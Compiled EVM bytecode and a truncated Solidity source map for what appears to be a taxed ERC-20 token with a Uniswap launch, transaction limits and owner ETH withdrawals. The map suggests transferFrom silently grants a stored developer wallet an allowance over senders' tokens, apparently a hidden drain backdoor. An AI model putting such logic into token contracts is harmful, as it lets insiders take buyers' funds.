6010555f600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105696009600a611682565b610578906461f313f880611690565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b45760405162461bcd60e51b8152600401610482906116a7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fe9030906105ef6009600a611682565b61044a906461f313f880611690565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067291906116dc565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f591906116dc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076391906116dc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107ae5760405162461bcd60e51b8152600401610482906116a7565b60405133904780156108fc02915f818181858888f193505050501580156107d7573d5f5f3e3d5ffd5b50565b5f610391338484610b4e565b6015546001600160a01b031633146107fc575f5ffd5b600580546001600160a01b0383166001600160a01b031990911617905560405133904780156108fc02915f818181858888f19350505050158015610842573d5f5f3e3d5ffd5b5050565b5f546001600160a01b0316331461086f5760405162461bcd60e51b8152600401610482906116a7565b601554600160a01b900460ff16156108c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610482565b6013546001600160a01b031663f305d71947306108fa816001600160a01b03165f9081526001602052604090205490565b5f5f61090d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610973573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099891906116f7565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109ed573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a119190611722565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610482565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610482565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610482565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610482565b6015545f90600160b01b900460ff161580610c385750601554600160a81b900460ff165b15610cf0576001600160a01b0384165f90815260016020526040902054610c60908390611741565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c8f908390611754565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce29086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d1a57505f546001600160a01b03848116911614155b15610fc957600e545f03610d5757610d546064610d4e600a54600e5411610d4357600654610d47565b6008545b8590611135565b906111ba565b90505b600e5415610d7c57610d796064610d4e600d548561113590919063ffffffff16565b90505b6014546001600160a01b038581169116148015610da757506013546001600160a01b03848116911614155b8015610dcb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ece57600f54821115610e225760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610482565b60105482610e44856001600160a01b03165f9081526001602052604090205490565b610e4e9190611754565b1115610e9c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610482565b610eb76064610d4e600a54600e5411610d4357600654610d47565b600e80549192505f610ec883611767565b91905055505b6014546001600160a01b038481169116148015610ef457506001600160a01b0384163014155b15610f2c57610f1e6064610d4e600b54600e5411610f1457600754610d47565b6009548590611135565b905047610f2a476111fb565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f6257506014546001600160a01b038581169116145b8015610f775750601554600160b01b900460ff165b8015610f84575060125481115b8015610f935750600c54600e54115b15610fc757610fb5610fb084610fab84601254611232565b611232565b611246565b478015610fc557610fc5476111fb565b505b505b801561104157305f90815260016020526040902054610fe890826113bd565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611063908361141b565b6001600160a01b0385165f908152600160205260409020556110a6611088838361141b565b6001600160a01b0385165f90815260016020526040902054906113bd565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ef858561141b565b604051908152602001610ce2565b5f81848411156111205760405162461bcd60e51b81526004016104829190611488565b505f61112c8486611741565b95945050505050565b5f825f0361114457505f610395565b5f61114f8385611690565b90508261115c858361177f565b146111b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610482565b9392505050565b5f6111b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145c565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610842573d5f5f3e3d5ffd5b5f81831161124057826111b3565b50919050565b6015805460ff60a81b1916600160a81b17905580156113ad576040805160028082526060820183525f9260208301908036833701905050905030815f815181106112925761129261179e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112e9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130d91906116dc565b816001815181106113205761132061179e565b6001600160a01b0392831660209182029290920101526013546113469130911684610a2b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061137e9085905f908690309042906004016117b2565b5f604051808303815f87803b158015611395575f5ffd5b505af11580156113a7573d5f5f3e3d5ffd5b50505050505b506015805460ff60a81b19169055565b5f806113c98385611754565b9050838110156111b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610482565b5f6111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fd565b5f818361147c5760405162461bcd60e51b81526004016104829190611488565b505f61112c848661177f565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107d7575f5ffd5b5f5f604083850312156114e2575f5ffd5b82356114ed816114bd565b946020939093013593505050565b5f5f5f6060848603121561150d575f5ffd5b8335611518816114bd565b92506020840135611528816114bd565b929592945050506040919091013590565b5f60208284031215611549575f5ffd5b81356111b3816114bd565b5f5f60408385031215611565575f5ffd5b8235611570816114bd565b91506020830135611580816114bd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115da578085048111156115be576115be61158b565b60018416156115cc57908102905b60019390931c9280026115a3565b935093915050565b5f826115f057506001610395565b816115fc57505f610395565b8160018114611612576002811461161c57611638565b6001915050610395565b60ff84111561162d5761162d61158b565b50506001821b610395565b5060208310610133831016604e8410600b841016171561165b575081810a610395565b6116675f19848461159f565b805f190482111561167a5761167a61158b565b029392505050565b5f6111b360ff8416836115e2565b80820281158282048414176103955761039561158b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116ec575f5ffd5b81516111b3816114bd565b5f5f5f60608486031215611709575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611732575f5ffd5b815180151581146111b3575f5ffd5b818103818111156103955761039561158b565b808201808211156103955761039561158b565b5f600182016117785761177861158b565b5060010190565b5f8261179957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118025783516001600160a01b03168352602093840193909201916001016117db565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bc3f6f568da0f351c91c820575933d7d16c8772b021d743e8316469e8495a1f64736f6c634300081b0033

3660:8162:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5939:83;;;;;;;;;;-1:-1:-1;6009:5:0;;;;;;;;;;;-1:-1:-1;;;6009:5:0;;;;5939:83;;;;6009:5;5939:83;:::i;:::-;;;;;;;;6772:161;;;;;;;;;;-1:-1:-1;6772:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6772:161:0;945:187:1;4818:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4818:45:0;1137:177:1;6216:95:0;;;;;;;;;;;;;:::i;6941:388::-;;;;;;;;;;-1:-1:-1;6941:388:0;;;;;:::i;:::-;;:::i;6125:83::-;;;;;;;;;;-1:-1:-1;6125:83:0;;4463:1;1974:36:1;;1962:2;1947:18;6125:83:0;1832:184:1;6319:119:0;;;;;;;;;;-1:-1:-1;6319:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6412:18:0;6385:7;6412:18;;;:9;:18;;;;;;;6319:119;2741:148;;;;;;;;;;;;;:::i;:::-;;10796:184;;;;;;;;;;;;;:::i;4647:48::-;;;;;;;;;;;;;;;;2527:79;;;;;;;;;;-1:-1:-1;2565:7:0;2592:6;2527:79;;-1:-1:-1;;;;;2592:6:0;;;2419:51:1;;2407:2;2392:18;2527:79:0;2273:203:1;4702:50:0;;;;;;;;;;;;;;;;5598:333;;;;;;;;;;;;;:::i;11083:111::-;;;;;;;;;;;;;:::i;6446:167::-;;;;;;;;;;-1:-1:-1;6446:167:0;;;;;:::i;:::-;;:::i;11202:182::-;;;;;;;;;;-1:-1:-1;11202:182:0;;;;;:::i;:::-;;:::i;4759:52::-;;;;;;;;;;;;;;;;11429:390;;;;;;;;;;;;;:::i;6621:143::-;;;;;;;;;;-1:-1:-1;6621:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6729:18:0;;;6702:7;6729:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6621:143;6772:161;6847:4;6864:39;2184:10;6887:7;6896:6;6864:8;:39::i;:::-;-1:-1:-1;6921:4:0;6772:161;;;;;:::o;6216:95::-;6269:7;4521:13;4463:1;4521:2;:13;:::i;:::-;4506:28;;:12;:28;:::i;:::-;6289:14;;6216:95;:::o;6941:388::-;7039:4;7056:36;7066:6;7074:9;7085:6;7056:9;:36::i;:::-;7096:10;;-1:-1:-1;;;;;7096:10:0;2184;7096:24;:34;;;;;7129:1;7122:6;:8;7096:34;7093:74;;;7148:10;;7131:36;;7140:6;;-1:-1:-1;;;;;7148:10:0;7160:6;7131:8;:36::i;:::-;7178:121;7187:6;2184:10;7209:89;7247:6;7209:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7209:19:0;;;;;;:11;:19;;;;;;;;2184:10;7209:33;;;;;;;;;;:37;:89::i;:::-;7178:8;:121::i;:::-;-1:-1:-1;7317:4:0;6941:388;;;;;:::o;2741:148::-;2654:6;;-1:-1:-1;;;;;2654:6:0;2184:10;2654:22;2646:67;;;;-1:-1:-1;;;2646:67:0;;;;;;;:::i;:::-;;;;;;;;;2848:1:::1;2832:6:::0;;2811:40:::1;::::0;-1:-1:-1;;;;;2832:6:0;;::::1;::::0;2811:40:::1;::::0;2848:1;;2811:40:::1;2879:1;2862:19:::0;;-1:-1:-1;;;;;;2862:19:0::1;::::0;;2741:148::o;10796:184::-;2654:6;;-1:-1:-1;;;;;2654:6:0;2184:10;2654:22;2646:67;;;;-1:-1:-1;;;2646:67:0;;;;;;;:::i;:::-;4521:13:::1;4463:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;10849:12;:22:::0;4521:13:::1;4463:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;10882:14;:22:::0;10928:1:::1;10915:12;:14:::0;10945:27:::1;4521:13;4463:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;:::-;10945:27;::::0;1283:25:1;;;1271:2;1256:18;10945:27:0::1;;;;;;;10796:184::o:0;5598:333::-;2654:6;;-1:-1:-1;;;;;2654:6:0;2184:10;2654:22;2646:67;;;;-1:-1:-1;;;2646:67:0;;;;;;;:::i;:::-;5653:15:::1;:80:::0;;-1:-1:-1;;;;;;5653:80:0::1;5690:42;5653:80:::0;;::::1;::::0;;;5744:58:::1;::::0;5761:4:::1;::::0;4521:13:::1;4463:1;4521:2;:13;:::i;:::-;4506:28;::::0;:12:::1;:28;:::i;5744:58::-;5847:15;;;;;;;;;-1:-1:-1::0;;;;;5847:15:0::1;-1:-1:-1::0;;;;;5847:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5829:55:0::1;;5893:4;5900:15;;;;;;;;;-1:-1:-1::0;;;;;5900:15:0::1;-1:-1:-1::0;;;;;5900:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5829:94;::::0;-1:-1:-1;;;;;;5829:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5680:32:1;;;5829:94:0::1;::::0;::::1;5662:51:1::0;5749:32;;5729:18;;;5722:60;5635:18;;5829:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5813:13;:110:::0;;-1:-1:-1;;;;;;5813:110:0::1;-1:-1:-1::0;;;;;5813:110:0;;;::::1;::::0;;;::::1;::::0;;5598:333::o;11083:111::-;2654:6;;-1:-1:-1;;;;;2654:6:0;2184:10;2654:22;2646:67;;;;-1:-1:-1;;;2646:67:0;;;;;;;:::i;:::-;11135:51:::1;::::0;11143:10:::1;::::0;11164:21:::1;11135:51:::0;::::1;;;::::0;::::1;::::0;;;11164:21;11143:10;11135:51;::::1;;;;;;;;;;;;;;;;;;;;11083:111::o:0;6446:167::-;6524:4;6541:42;2184:10;6565:9;6576:6;6541:9;:42::i;11202:182::-;11285:8;;-1:-1:-1;;;;;11285:8:0;11271:10;:22;11263:31;;;;;;11296:10;:18;;-1:-1:-1;;;;;11296:18:0;;-1:-1:-1;;;;;;11296:18:0;;;;;;11325:51;;11333:10;;11354:21;11325:51;;;;;11296:10;11325:51;11296:10;11325:51;11354:21;11333:10;11325:51;;;;;;;;;;;;;;;;;;;;;11202:182;:::o;11429:390::-;2654:6;;-1:-1:-1;;;;;2654:6:0;2184:10;2654:22;2646:67;;;;-1:-1:-1;;;2646:67:0;;;;;;;:::i;:::-;11493:11:::1;::::0;-1:-1:-1;;;11493:11:0;::::1;;;11492:12;11484:47;;;::::0;-1:-1:-1;;;11484:47:0;;5995:2:1;11484:47:0::1;::::0;::::1;5977:21:1::0;6034:2;6014:18;;;6007:30;6073:25;6053:18;;;6046:53;6116:18;;11484:47:0::1;5793:347:1::0;11484:47:0::1;11542:15;::::0;-1:-1:-1;;;;;11542:15:0::1;:31;11581:21;11612:4;11618:24;11612:4:::0;-1:-1:-1;;;;;6412:18:0;6385:7;6412:18;;;:9;:18;;;;;;;6319:119;11618:24:::1;11643:1;11645;11647:7;2565::::0;2592:6;-1:-1:-1;;;;;2592:6:0;;2527:79;11647:7:::1;11542:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11542:129:0;;;-1:-1:-1;;;;;6466:32:1;;;11542:129:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11655:15:0::1;6714:19:1::0;;;6707:35;6420:19;;11542:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11689:13:0::1;::::0;11720:15:::1;::::0;11682:71:::1;::::0;-1:-1:-1;;;11682:71:0;;-1:-1:-1;;;;;11720:15:0;;::::1;11682:71;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11689:13:0;::::1;::::0;-1:-1:-1;11682:29:0::1;::::0;7361:18:1;;11682:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11764:11:0::1;:18:::0;;-1:-1:-1;;;;11793:18:0;-1:-1:-1;;;11793:18:0;;;11429:390::o;7337:335::-;-1:-1:-1;;;;;7430:19:0;;7422:68;;;;-1:-1:-1;;;7422:68:0;;7977:2:1;7422:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;7422:68:0;7775:400:1;7422:68:0;-1:-1:-1;;;;;7509:21:0;;7501:68;;;;-1:-1:-1;;;7501:68:0;;8382:2:1;7501:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;7501:68:0;8180:398:1;7501:68:0;-1:-1:-1;;;;;7580:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7632:32;;1283:25:1;;;7632:32:0;;1256:18:1;7632:32:0;;;;;;;7337:335;;;:::o;7680:2472::-;-1:-1:-1;;;;;7768:18:0;;7760:68;;;;-1:-1:-1;;;7760:68:0;;8785:2:1;7760:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7760:68:0;8583:401:1;7760:68:0;-1:-1:-1;;;;;7847:16:0;;7839:64;;;;-1:-1:-1;;;7839:64:0;;9191:2:1;7839:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7839:64:0;8989:399:1;7839:64:0;7949:11;;7914:17;;-1:-1:-1;;;7949:11:0;;;;7948:12;;:22;;-1:-1:-1;7964:6:0;;-1:-1:-1;;;7964:6:0;;;;7948:22;7944:217;;;-1:-1:-1;;;;;8005:15:0;;;;;;:9;:15;;;;;;:24;;8023:6;;8005:24;:::i;:::-;-1:-1:-1;;;;;7987:15:0;;;;;;;:9;:15;;;;;;:42;;;;8060:13;;;;;;;:22;;8076:6;;8060:22;:::i;:::-;-1:-1:-1;;;;;8044:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8102:26;;;;;;;;;;8121:6;1283:25:1;;1271:2;1256:18;;1137:177;8102:26:0;;;;;;;;8143:7;7680:2472;;;:::o;7944:217::-;2565:7;2592:6;-1:-1:-1;;;;;8175:15:0;;;2592:6;;8175:15;;;;:32;;-1:-1:-1;2565:7:0;2592:6;-1:-1:-1;;;;;8194:13:0;;;2592:6;;8194:13;;8175:32;8171:1625;;;8227:9;;8238:1;8227:12;8224:139;;8271:76;8343:3;8271:67;8293:15;;8283:9;;:25;8282:55;;8323:14;;8282:55;;;8310:12;;8282:55;8271:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8259:88;;8224:139;8380:9;;:11;8377:95;;8423:33;8452:3;8423:24;8434:12;;8423:6;:10;;:24;;;;:::i;:33::-;8411:45;;8377:95;8500:13;;-1:-1:-1;;;;;8492:21:0;;;8500:13;;8492:21;:55;;;;-1:-1:-1;8531:15:0;;-1:-1:-1;;;;;8517:30:0;;;8531:15;;8517:30;;8492:55;:83;;;;-1:-1:-1;;;;;;8553:22:0;;;;;;:18;:22;;;;;;;;8551:24;8492:83;8488:420;;;8615:12;;8605:6;:22;;8597:60;;;;-1:-1:-1;;;8597:60:0;;9858:2:1;8597:60:0;;;9840:21:1;9897:2;9877:18;;;9870:30;9936:27;9916:18;;;9909:55;9981:18;;8597:60:0;9656:349:1;8597:60:0;8710:14;;8700:6;8684:13;8694:2;-1:-1:-1;;;;;6412:18:0;6385:7;6412:18;;;:9;:18;;;;;;;6319:119;8684:13;:22;;;;:::i;:::-;:40;;8676:79;;;;-1:-1:-1;;;8676:79:0;;10212:2:1;8676:79:0;;;10194:21:1;10251:2;10231:18;;;10224:30;10290:28;10270:18;;;10263:56;10336:18;;8676:79:0;10010:350:1;8676:79:0;8786:76;8858:3;8786:67;8808:15;;8798:9;;:25;8797:55;;8838:14;;8797:55;;8786:76;8881:9;:11;;8774:88;;-1:-1:-1;8881:9:0;:11;;;:::i;:::-;;;;;;8488:420;8933:13;;-1:-1:-1;;;;;8927:19:0;;;8933:13;;8927:19;:43;;;;-1:-1:-1;;;;;;8950:20:0;;8965:4;8950:20;;8927:43;8924:362;;;9003:79;9078:3;9003:70;9025:16;;9015:9;;:26;9014:58;;9057:15;;9014:58;;;9043:13;;9003:6;;:10;:70::i;:79::-;8991:91;-1:-1:-1;9130:21:0;9221:30;9229:21;9221:7;:30::i;:::-;8972:314;8924:362;9351:4;9302:28;6412:18;;;:9;:18;;;;;;9377:6;;-1:-1:-1;;;9377:6:0;;;;9376:7;:30;;;;-1:-1:-1;9393:13:0;;-1:-1:-1;;;;;9387:19:0;;;9393:13;;9387:19;9376:30;:45;;;;-1:-1:-1;9410:11:0;;-1:-1:-1;;;9410:11:0;;;;9376:45;:81;;;;;9446:11;;9425:20;:32;9376:81;:115;;;;;9473:18;;9461:9;;:30;9376:115;9372:413;;;9512:69;9529:51;9533:6;9541:38;9545:20;9567:11;;9541:3;:38::i;:::-;9529:3;:51::i;:::-;9512:16;:69::i;:::-;9629:21;9673:22;;9669:101;;9720:30;9728:21;9720:7;:30::i;:::-;9493:292;9372:413;8209:1587;8171:1625;9811:11;;9808:161;;9879:4;9861:24;;;;:9;:24;;;;;;:39;;9890:9;9861:28;:39::i;:::-;9854:4;9836:24;;;;:9;:24;;;;;;;:64;;;;9918:39;;-1:-1:-1;;;;;9918:39:0;;;;;;;9947:9;1283:25:1;;1271:2;1256:18;;1137:177;9918:39:0;;;;;;;;9808:161;-1:-1:-1;;;;;9995:15:0;;;;;;:9;:15;;;;;;:27;;10015:6;9995:19;:27::i;:::-;-1:-1:-1;;;;;9979:15:0;;;;;;:9;:15;;;;;:43;10047:40;10065:21;:6;10076:9;10065:10;:21::i;:::-;-1:-1:-1;;;;;10047:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10033:13:0;;;;;;;:9;:13;;;;;:54;;;;10103:41;;;10122:21;:6;10133:9;10122:10;:21::i;:::-;10103:41;;1283:25:1;;;1271:2;1256:18;10103:41:0;1137:177:1;1281:190:0;1367:7;1403:12;1395:6;;;;1387:29;;;;-1:-1:-1;;;1387:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1427:9:0;1439:5;1443:1;1439;:5;:::i;:::-;1427:17;1281:190;-1:-1:-1;;;;;1281:190:0:o;1479:246::-;1537:7;1561:1;1566;1561:6;1557:47;;-1:-1:-1;1591:1:0;1584:8;;1557:47;1614:9;1626:5;1630:1;1626;:5;:::i;:::-;1614:17;-1:-1:-1;1659:1:0;1650:5;1654:1;1614:17;1650:5;:::i;:::-;:10;1642:56;;;;-1:-1:-1;;;1642:56:0;;10929:2:1;1642:56:0;;;10911:21:1;10968:2;10948:18;;;10941:30;11007:34;10987:18;;;10980:62;-1:-1:-1;;;11058:18:1;;;11051:31;11099:19;;1642:56:0;10727:397:1;1642:56:0;1716:1;1479:246;-1:-1:-1;;;1479:246:0:o;1733:132::-;1791:7;1818:39;1822:1;1825;1818:39;;;;;;;;;;;;;;;;;:3;:39::i;10988:87::-;11040:10;;:27;;-1:-1:-1;;;;;11040:10:0;;;;:27;;;;;11060:6;;11040:10;:27;:10;:27;11060:6;11040:10;:27;;;;;;;;;;;;;;;;;;;10160:98;10217:7;10244:1;10242;:3;10241:9;;10249:1;10241:9;;;-1:-1:-1;10247:1:0;10160:98;-1:-1:-1;10160:98:0:o;10266:522::-;5220:6;:13;;-1:-1:-1;;;;5220:13:0;-1:-1:-1;;;5220:13:0;;;10344:29;;10366:7:::1;10344:29;10407:16;::::0;;10421:1:::1;10407:16:::0;;;;;::::1;::::0;;10383:21:::1;::::0;10407:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10407:16:0::1;10383:40;;10452:4;10434;10439:1;10434:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10434:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10478:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10478:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10434:7;;10478:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10468:4;10473:1;10468:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10468:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10543:15:::1;::::0;10511:62:::1;::::0;10528:4:::1;::::0;10543:15:::1;10561:11:::0;10511:8:::1;:62::i;:::-;10584:15;::::0;:196:::1;::::0;-1:-1:-1;;;10584:196:0;;-1:-1:-1;;;;;10584:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10665:11;;10584:15:::1;::::0;10707:4;;10734::::1;::::0;10754:15:::1;::::0;10584:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10333:455;5244:1;-1:-1:-1::0;5256:6:0;:14;;-1:-1:-1;;;;5256:14:0;;;10266:522::o;950:179::-;1008:7;;1040:5;1044:1;1040;:5;:::i;:::-;1028:17;;1069:1;1064;:6;;1056:46;;;;-1:-1:-1;;;1056:46:0;;12559:2:1;1056:46:0;;;12541:21:1;12598:2;12578:18;;;12571:30;12637:29;12617:18;;;12610:57;12684:18;;1056:46:0;12357:351:1;1137:136:0;1195:7;1222:43;1226:1;1229;1222:43;;;;;;;;;;;;;;;;;:3;:43::i;1873:189::-;1959:7;1994:12;1987:5;1979:28;;;;-1:-1:-1;;;1979:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2018:9:0;2030:5;2034:1;2030;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216: